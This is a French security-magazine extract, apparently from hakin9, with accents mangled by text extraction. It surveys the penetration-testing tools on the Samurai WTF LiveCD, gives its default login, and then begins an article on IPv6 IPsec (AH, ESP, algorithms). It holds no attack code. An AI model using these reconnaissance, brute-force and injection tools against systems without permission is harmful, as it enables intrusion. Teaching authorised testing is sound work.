trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

